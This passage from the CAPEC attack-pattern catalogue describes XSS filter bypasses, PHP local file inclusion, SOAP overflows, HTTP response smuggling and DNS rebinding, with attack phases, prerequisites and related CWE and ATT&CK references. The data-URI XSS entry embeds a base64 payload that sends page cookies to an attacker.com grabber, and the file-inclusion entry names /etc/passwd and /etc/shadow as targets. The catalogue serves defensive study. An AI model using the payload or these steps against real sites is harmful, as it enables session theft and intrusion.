  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
Software
Software
  1. The following payload data: text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg== represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser. The decoded payload is the following piece of HTML code: Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack. An adversary could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute): [My Link](INJECTION_POINT) Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Probe identified potential entry points for reflected XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various payloads formatted as data URI schemes using base to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious payload formatted as a URI scheme, or use the URL returned when the URI scheme was given as input to the web application.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.
  • Ability to send HTTP request to a web application
Medium: To inject the malicious payload in a web page Draft High 3.9
XSS Using Doubled Characters Detailed The adversary bypasses input validation by using doubled characters in order to perform a cross-site scripting attack. Some filters fail to recognize dangerous sequences if they are preceded by repeated characters. For example, by doubling the < before a script command, (<<script or %3C%3script using URI encoding) the filters of some web applications may fail to recognize the presence of a script tag. If the targeted server is vulnerable to this type of bypass, the adversary can create a crafted URL or other trap to cause a victim to view a page on the targeted server where the malicious content is executed, as per a normal XSS attack. 2014-06-23 02:00:00 Capec: CAPEC-245
Cwe: CWE-85
Reference_from_capec: REF-99
2022-02-22 01:00:00 2.1 Software
Software
Software

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS using double characters: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads modified to use double characters and doubled special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Use a list of XSS probe strings using double characters to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of doubled HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Execute a script using an expression embedded in an HTML attribute, which avoids needing to inject a script tag.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
None
  • The targeted web application does not fully normalize input before checking for prohibited syntax. In particular, it must fail to recognize prohibited methods preceded by certain sequences of repeated characters.
  • The adversary must trick the victim into following a crafted link to a vulnerable server or view a web post where the dangerous commands are executed.
Draft Medium 3.9
DEPRECATED: XSS Using Flash Detailed This pattern has been deprecated as it is covered by a chaining relationship between CAPEC-174: Flash Parameter Injection and CAPEC-591: Stored XSS. Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-246
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
XSS Using Invalid Characters Detailed An adversary inserts invalid characters in identifiers to bypass application filtering of input. Filters may not scan beyond invalid characters but during later stages of processing content that follows these invalid characters may still be processed. This allows the adversary to sneak prohibited commands past filters and perform normally prohibited operations. Invalid characters may include null, carriage return, line feed or tab in an identifier. Successful bypassing of the filter can result in a XSS attack, resulting in the disclosure of web cookies or possibly other results. 2014-06-23 02:00:00 Capec: CAPEC-247
Cwe: CWE-86
2022-02-22 01:00:00 2.1 Software
Software
Software

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerabilities using invalid characters: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters preceded by an invalid character(s) to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. The adversary is looking for cases where an invalid character causes an input filter to stop processing, allowing the malicious input that follows to bypass the filter
  2. Techniques
    Use a list of XSS probe strings preceded by an invalid character(s) such as null, carriage return, line feed, or tab to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of HTML special characters preceded by an invalid character(s) to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious script tag preceded by invalid character(s).
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
None
  • The target must fail to remove invalid characters from input and fail to adequately scan beyond these characters.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
PHP Local File Inclusion Detailed The attacker loads and executes an arbitrary local PHP file on a target machine. The attacker could use this to try to load old versions of PHP files that have known vulnerabilities, to load PHP files that the attacker placed on the local machine during a prior attack, or to otherwise change the functionality of the targeted application in unexpected ways. 2014-06-23 02:00:00 Capec: CAPEC-252
Cwe: CWE-829
Reference_from_capec: REF-621
2021-10-21 02:00:00 2.1 Software

Explore

  1. Survey application: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find. The adversary is looking for URLs that show PHP file inclusion is used, which can look something like "http://vulnerable-website/file.php?file=index.php".
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Once the adversary finds a vulnerable URL that takes file input, they attempt a variety of path traversal techniques to attempt to get the application to display the contents of a local file, or execute a different PHP file already stored locally on the server.
  2. Techniques
    Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of path traversal techniques used to include well known files.
    Use a proxy tool to record results of manual input of local file inclusion probes in known URLs.

Exploit

  1. Include desired local file: Once the adversary has determined which techniques of path traversal successfully work with the vulnerable PHP application, they will target a specific local file to include. These can be files such as "/etc/passwd", "/etc/shadow", or configuration files for the application that might expose sensitive information.
None
  • The targeted PHP application must have a bug that allows an attacker to control which code file is loaded at some juncture.
  • The attacker needs to have enough access to the target application to control the identity of a locally included PHP file.
Draft Medium 3.9
251
DEPRECATED: DTD Injection in a SOAP Message Detailed This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the pattern CAPEC-228 : DTD Injection going forward. 2014-06-23 02:00:00 Capec: CAPEC-254
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
SOAP Array Overflow Detailed An attacker sends a SOAP request with an array whose actual length exceeds the length indicated in the request. If the server processing the transmission naively trusts the specified size, then an attacker can intentionally understate the size of the array, possibly resulting in a buffer overflow if the server attempts to read the entire data set into the memory it allocated for a smaller array. 2014-06-23 02:00:00 Capec: CAPEC-256
Cwe: CWE-805
Wasc: 35
Reference_from_capec: REF-102
Reference_from_capec: REF-103
2021-10-21 02:00:00 2.1 Software

Explore

  1. Identify target application: The adversary identifies a target application to perform the buffer overflow on. In this attack, adversaries look for applications that utilize SOAP as a communication mechanism.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    The adversary creates a SOAP message that incorrectly specifies the size of its array to be smaller than the size of the actual content by a large margin and sends it to the application. If this causes a crash or some unintended behavior, it is likely that this is a valid injection vector.
  3. Craft overflow content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs
    The adversary will choose a SOAP type that allows them to put shellcode into the buffer when the array is read into the application.

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary sends the crafted SOAP message to the program, overflowing the buffer.
None
  • The targeted SOAP server must trust that the array size as stated in messages it receives is correct, but read through the entire content of the message regardless of the stated size of the array.
  • The attacker must be able to craft malformed SOAP messages, specifically, messages with arrays where the stated array size understates the actual size of the array in the message.
Draft High 3.9
100
DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update Detailed This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-258
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
DEPRECATED: Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution Detailed This attack pattern has been deprecated as it is a duplicate of the existing attack pattern "CAPEC-65 : Sniff Application Code". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-260
2017-08-04 02:00:00 2.1 None None Deprecated None 3.9
Fuzzing for garnering other adjacent user/sensitive data Detailed An adversary who is authorized to send queries to a target sends variants of expected queries in the hope that these modified queries might return information (directly or indirectly through error logs) beyond what the expected set of queries should provide. Many client applications use specific query templates when interacting with a server and often automatically fill in specific fields or attributes. If the server does not verify that the query matches one of the expected templates, an adversary who is allowed to send normal queries could modify their query to try to return additional information. The adversary may not know the names of fields to request or how other modifications will affect the server response, but by attempting multiple plausible variants, they might eventually trigger a server response that divulges sensitive information. Other possible outcomes include server crashes and resource consumption if the unexpected queries cause the server to enter an unstable state or perform excessive computation. 2014-06-23 02:00:00 Capec: CAPEC-261
Cwe: CWE-20
2022-02-22 01:00:00 2.1 Software
  1. A client that queries an employee database might have templates such that the user only supplies the target's name and the template dictates the fields to be returned (location, position in the company, phone number, etc.). If the server does not verify that the query matches one of the expected templates, an attacker who is allowed to send normal queries could modify their query to try to return additional information. For this example, additional information might include social security numbers or salaries.

Explore

  1. Observe communication and inputs: The fuzzing adversary observes the target system looking for inputs and communications between modules, subsystems, or systems.
  2. Techniques
    Network sniffing. Using a network sniffer such as wireshark, the adversary observes communications into and out of the target system.
    Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the adversary observes the system calls and API calls that are made by the target system, and the nature of their parameters.
    Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)

Experiment

  1. Generate fuzzed inputs: Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.
  2. Techniques
    Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).
    Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.
  3. Observe the outcome: Observe the outputs to the inputs fed into the system by fuzzers and see if there are any log or error messages that either provide user/sensitive data or give information about an expected template that could be used to produce this data.

Exploit

  1. Craft exploit payloads: If the logs did not reveal any user/sensitive data, an adversary will attempt to make the fuzzing inputs form to an expected template
  2. Techniques
    Create variants of expected templates that request additional information
    Create variants that exclude limiting clauses
    Create variants that alter fields taht identify the requester in order to subvert access controls
    Repeat different fuzzing variants until sensitive information is divulged
None
  • The server must assume that the queries it receives follow specific templates and/or have fields or attributes that follow specific procedures. The server must process queries that it receives without adequately checking or sanitizing queries to ensure they follow these templates.
  • The attacker must have sufficient privileges to send queries to the targeted server. A normal client might limit the nature of these queries, so the attacker must either have a modified client or their own application which allows them to modify the expected queries.
Draft Medium 3.9
54
Force Use of Corrupted Files Detailed This describes an attack where an application is forced to use a file that an attacker has corrupted. The result is often a denial of service caused by the application being unable to process the corrupted file, but other results, including the disabling of filters or access controls (if the application fails in an unsafe way rather than failing by locking down) or buffer overflows are possible. 2014-06-23 02:00:00 Capec: CAPEC-263
Cwe: CWE-829
2019-04-04 02:00:00 2.1 Software
None None
  • The targeted application must utilize a configuration file that an attacker is able to corrupt. In some cases, the attacker must be able to force the (re-)reading of the corrupted file if the file is normally only consulted at startup.
  • The severity of the attack hinges on how the application responds to the corrupted file. If the application detects the corruption and locks down, this may result in the denial of services provided by the application. If the application fails to detect the corruption, the result could be a more severe denial of service (crash or hang) or even an exploitable buffer overflow. If the application detects the corruption but fails in an unsafe way, this attack could result in the continuation of services but without certain security structures, such as filters or access controls. For example, if the corrupted file configures filters, an unsafe response from an application could result in simply disabling the filtering mechanisms due to the lack of usable configuration data.
  • This varies depending on the resources necessary to corrupt the configuration file and the resources needed to force the application to re-read it (if any).
Draft Medium 3.9
17
Modification of Registry Run Keys Detailed An adversary adds a new entry to the "run keys" in the Windows registry so that an application of their choosing is executed when a user logs in. In this way, the adversary can get their executable to operate and run on the target system with the authorized user's level of permissions. This attack is a good way for an adversary to run persistent spyware on a user's machine, such as a keylogger. 2014-06-23 02:00:00 Capec: CAPEC-270
Cwe: CWE-15
Attack: T1547.001
Attack: T1547.014
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Gain Privileges
Software
  1. An adversary can place a malicious executable (RAT) on the target system and then configure it to automatically run when the user logs in to maintain persistence on the target system.
  2. Through the modification of registry "run keys" the adversary can masquerade a malicious executable as a legitimate program.

Explore

  1. Determine target system: The adversary must first determine the system they wish to target. This attack only works on Windows.

Experiment

  1. Gain access to the system: The adversary needs to gain access to the system in some way so that they can modify the Windows registry.
  2. Techniques
    Gain physical access to a system either through shoulder surfing a password or accessing a system that is left unlocked.
    Gain remote access to a system through a variety of means.

Exploit

  1. Modify Windows registry: The adversary will modify the Windows registry by adding a new entry to the "run keys" referencing a desired program. This program will be run whenever the user logs in.
Medium
  • The adversary must have gained access to the target system via physical or logical means in order to carry out this attack.
Stable Medium 3.9
203
HTTP Response Smuggling Detailed An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server). See CanPrecede relationships for possible consequences. In the maliciously manipulated HTTP response, an adversary can add duplicate header fields that HTTP agents interpret as belonging to separate responses. The combined HTTP response ends up being parsed or interpreted as two or more HTTP responses by the targeted client HTTP agent. This allows malicious HTTP responses to bypass security controls. This is performed by the abuse of interpretation and parsing discrepancies in different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) or client HTTP agents (e.g., web browser) in the path of the malicious HTTP responses. This attack usually involves the misuse of the HTTP headers: Content-Length and Transfer-Encoding. These abuses are discussed in RFC 2616 4.4.3 and section 4.2 and are related to ordering and precedence of these headers. [REF-38] Additionally this attack can be performed through modification and/or fuzzing of parameters composing the request-line of HTTP messages. This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents. This differs from CAPEC-33 HTTP Request Smuggling, which is usually an attempt to compromise a back-end HTTP agent via HTTP Request messages. HTTP Response Smuggling is an attempt to compromise aclient agent (e.g., web browser). HTTP Splitting (CAPEC-105 and CAPEC-34) is different from HTTP Smuggling due to the fact that during implementation of asynchronous requests, HTTP Splitting requires the embedding/injection of arbitrary HTML headers and content through user input into browser cookies or Ajax web/browser object parameters like XMLHttpRequest. 2014-06-23 02:00:00 Capec: CAPEC-273
Cwe: CWE-74
Cwe: CWE-436
Cwe: CWE-444
Wasc: 27
Reference_from_capec: REF-38
Reference_from_capec: REF-117
Reference_from_capec: REF-675
Reference_from_capec: REF-676
Reference_from_capec: REF-677
Reference_from_capec: REF-678
2022-09-29 02:00:00 2.1
  • HTTP Desync
Integrity:
  • Execute Unauthorized Commands
  • Modify Data
Availability:
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands
  • Gain Privileges
Communications
Software
  1. When using Undertow, a Java-based web server in Red Hat's Jboss Enterprise Application Platform version 7.0, the code responsible for parsing HTTP requests permitted invalid characters, that could allow the injection of data into HTTP responses from Undertow to clients when used in tandem with a proxy; allowing for web-cache poisoning, XSS, and confidentiality violation of sensitive information from other HTTP requests sent to Undertow. See also: CVE-2017-2666
  2. Mozilla Firefox and Thunderbird before 1.5.04, with various proxy servers, interpreted HTTP responses differently if HTTP response headers included a space between the header name and colon or if HTTP 1.1 headers were sent through a proxy configured with HTTP 1.0, allowing for HTTP Smuggling vulnerability. See also: CVE-2006-2786

Explore

  1. Survey network to identify target: The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.
  2. Techniques
    Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.

Experiment

  1. Identify vulnerabilities in targeted HTTP infrastructure and technologies: The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure to intended targets in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, message sizes, and HTTP headers.
  2. Cause differential HTTP responses by experimenting with identified HTTP Response vulnerabilities: The adversary sends maliciously crafted HTTP request to back-end HTTP infrastructure to inject adversary data into HTTP responses (intended for intermediary and/or front-end client/victim HTTP agents communicating with back-end HTTP infrastructure) for the purpose of interfering with the parsing of HTTP response. The intended consequences of the malicious HTTP request and the subsequent adversary injection and manipulation of HTTP responses will be observed to confirm applicability of identified vulnerabilities in the adversary's plan of attack.
  3. Techniques
    Continue the monitoring of HTTP traffic.
    Inject additional HTTP headers to utilize various combinations of HTTP Headers within a single HTTP message such as: Content-Length & Transfer-Encoding (CL;TE), Transfer-Encoding & Content-Length (TE;CL), or double Transfer-Encoding (TE;TE), so that additional embedded message or data in the body of the original message are unprocessed and treated as part of subsequent messages by the intended target HTTP agent. From these HTTP Header combinations the adversary observes any timing delays (usually in the form of HTTP 404 Error response) or any other unintended consequences. For CL;TE and TE;CL HTTP headers combination, the first HTTP agent, in the HTTP message path that receives the HTTP message, takes precedence or only processes the one header but not the other, while the second/final HTTP agent processes the opposite header allowing for embedded HTTP message to be ignored and smuggled to the intended target HTTP agent. For TE;TE HTTP headers combination, all HTTP agents in HTTP message path process Transfer-Encoding header, however, adversary obfuscation of one of the Transfer-Encoding headers, by not adhering strictly to the protocol specification, can cause it to be unprocessed/ignored by a designated HTTP agent, hence allowing embedded HTTP messages to be smuggled. See Mitigations for details.
    Construct a very large HTTP message via multiple Content-Length headers of various data lengths that can potentially cause subsequent messages to be ignored by an intermediary HTTP agent (e.g., firewall) and/or eventually parsed separately by the target HTTP agent. Note that most modern HTTP infrastructure reject HTTP messages with multiple Content-Length headers.
    Monitor HTTP traffic using a tool such as a Network Protocol Analyzer.

Exploit

  1. Perform HTTP Response Smuggling attack: Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.
  2. Techniques
    Leverage techniques identified in the Experiment Phase.
Medium
33
  • A vulnerable or compromised server or domain/site capable of allowing adversary to insert/inject malicious content that will appear in the server's response to target HTTP agents (e.g., proxies and users' web browsers).
  • Differences in the way the two HTTP agents parse and interpret HTTP responses and its headers.
  • HTTP agents running on HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.
  • Tools capable of monitoring HTTP messages, and crafting malicious HTTP messages and/or injecting malicious content into HTTP messages.
Medium: Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. Stable High 3.9
220
HTTP Verb Tampering Detailed An attacker modifies the HTTP Verb (e.g. GET, PUT, TRACE, etc.) in order to bypass access restrictions. Some web environments allow administrators to restrict access based on the HTTP Verb used with requests. However, attackers can often provide a different HTTP Verb, or even provide a random string as a verb in order to bypass these protections. This allows the attacker to access data that should otherwise be protected. 2014-06-23 02:00:00 Capec: CAPEC-274
Cwe: CWE-302
Cwe: CWE-654
Reference_from_capec: REF-118
2019-09-30 02:00:00 2.1 Software
None None
  • The targeted system must attempt to filter access based on the HTTP verb used in requests.
  • The attacker requires a tool that allows them to manually control the HTTP verb used to send messages to the targeted server.
Draft Medium 3.9
220
DNS Rebinding Detailed An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary. Web browsers enforce security zones based on DNS names in order to prevent cross-zone disclosure of information. Because the same name resolves to both these IP addresses, browsers will place both IP addresses in the same security zone and allow information to flow between the addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise. If there is a trust relationship between the computer with the targeted browser and the internal machine the adversary identifies, additional attacks are possible. This attack differs from pharming attacks in that the adversary is the legitimate owner of the malicious DNS server and so does not need to compromise behavior of external DNS services. 2014-06-23 02:00:00 Capec: CAPEC-275
Cwe: CWE-350
Reference_from_capec: REF-119
Reference_from_capec: REF-120
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Read Data
Non-Repudiation:
  • Gain Privileges
Software
  1. The adversary registers a domain name, such as www.evil.com with IP address 1.3.5.7, delegates it to their own DNS server (1.3.5.2), and uses phishing links or emails to get HTTP traffic. Instead of sending a normal TTL record, the DNS server sends a very short TTL record (for example, 1 second), preventing DNS response of entry[www.evil.com, 1.3.5.7] from being cached on victim's (192.168.1.10) browser. The adversary's server first responds to the victim with malicious script such as JavaScript, containing IP address (1.3.5.7) of the server. The adversary uses XMLHttpRequest (XHR) to send HTTP request or HTTPS request directly to the adversary's server and load response. The malicious script allows the adversary to rebind the host name to the IP address (192.168.1.2) of a target server that is behind the firewall. Then the server responds to the adversary's real target, which is an internal host IP (192.168.1.2) in the same domain of the victim (192.168.1.10). Because the same name resolves to both these IP addresses, browsers will place both IP addresses (1.3.5.7 and 192.168.1.2) in the same security zone and allow information to flow between the addresses. Further, the adversary can achieve scanning and accessing all internal hosts in the victim's local network (192.168.X.X) by sending multiple short-lived IP addresses.

Explore

  1. Identify potential DNS rebinding targets: An adversary publishes content on their own server with their own name and DNS server. Attract HTTP traffic and explore rebinding vulnerabilities in browsers, flash players of old version.
  2. Techniques
    Adversary uses Web advertisements to attract the victim to access adversary's DNS. Explore the versions of web browser or flash players in HTTP request.

Experiment

  1. Establish initial target access to adversary DNS: The first time the target accesses the adversary's content, the adversary's name must be resolved to an IP address. The adversary's DNS server performs this resolution, providing a short Time-To-Live (TTL) in order to prevent the target from caching the value.
  2. Rebind DNS resolution to target address: The target makes a subsequent request to the adversary's content and the adversary's DNS server must again be queried, but this time the DNS server returns an address internal to the target's organization that would not be accessible from an outside source.
  3. Determine exploitability of DNS rebinding access to target address: The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the named internal addresses.

Exploit

  1. Access & exfiltrate data within the victim's security zone: The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the internal addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise.
  2. Techniques
    Adversary attempts to use victim's browser as an HTTP proxy to other resources inside the target's security zone. This allows two IP addresses placed in the same security zone.
    Adversary tries to scan and access all internal hosts in victim's local network by sending multiple short-lived IP addresses.
High
  • The target browser must access content server from the adversary controlled DNS name. Web advertisements are often used for this purpose. The target browser must honor the TTL value returned by the adversary and re-resolve the adversary's DNS name after initial contact.
  • The adversary must serve some web content that a victim accesses initially. This content must include executable content that queries the adversary's DNS name (to provide the second DNS resolution) and then performs the follow-on attack against the internal system. The adversary also requires a customized DNS server that serves an IP address for their registered DNS name, but which resolves subsequent requests by a single client to addresses internal to that client's network.
Medium: Setup DNS server and the adversary's web server. Write a malicious script to allow the victim to connect to the web server. Draft Very High 3.9
194
SOAP Manipulation Detailed Simple Object Access Protocol (SOAP) is used as a communication protocol between a client and server to invoke web services on the server. It is an XML-based protocol, and therefore suffers from many of the same shortcomings as other XML-based protocols. Adversaries can make use of these shortcomings and manipulate the content of SOAP paramters, leading to undesirable behavior on the server and allowing the adversary to carry out a number of further attacks. 2014-06-23 02:00:00 Capec: CAPEC-279
Cwe: CWE-707
Reference_from_capec: REF-121
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
Availability:
  • Resource Consumption
  • Execute Unauthorized Commands
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands
Communications
Software

Exploit

  1. Find target application: The adversary needs to identify an application that uses SOAP as a communication protocol.
  2. Techniques
    Observe HTTP traffic to an application and look for SOAP headers.

Experiment

  1. Detect Incorrect SOAP Parameter Handling: The adversary tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application.
  2. Techniques
    Send more data than would seem reasonable for a field and see if the server complains.
    Send nonsense data in a field that expects a certain subset, such as product names or sequence numbers, and see if the server complains.
    Send XML metacharacters as data and see how the server responds.
  3. Manipulate SOAP parameters: The adversary manipulates SOAP parameters in a way that causes undesirable behavior for the server. This can result in denial of service, information disclosure, arbitrary code exection, and more.
  4. Techniques
    Create a recursive XML payload that will take up all of the memory on the server when parsed, resulting in a denial of service. This is known as the billion laughs attack.
    Insert XML metacharacters into data fields that could cause the server to go into an error state when parsing. This could lead to a denial of service.
    Insert a large amount of data into a field that should have a character limit, causing a buffer overflow.
Medium
  • An application uses SOAP-based web service api.
  • An application does not perform sufficient input validation to ensure that user-controllable data is safe for an XML parser.
  • The targeted server either fails to verify that data in SOAP messages conforms to the appropriate XML schema, or it fails to correctly handle the complete range of data allowed by the schema.
Draft High 3.9
278
DEPRECATED: SOAP Parameter Tampering Detailed This attack pattern has been deprecated as its contents have been included in CAPEC-279 : SOAP Manipulation. Please refer to this other pattern going forward. 2014-06-23 02:00:00 Capec: CAPEC-280
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
